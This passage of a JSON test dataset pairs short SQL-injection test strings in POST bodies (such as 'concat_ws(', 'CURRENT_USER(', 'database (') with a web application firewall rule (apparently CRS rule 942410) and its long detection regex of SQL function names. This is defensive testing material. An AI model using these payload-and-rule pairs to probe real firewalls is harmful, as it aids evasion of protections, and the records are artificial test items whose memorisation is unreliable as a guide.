"part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "concat_ws(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "convert(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "cOnVeRt(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "COS(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "COUNT(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "CURRENT_USER(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "database (" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "date(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pa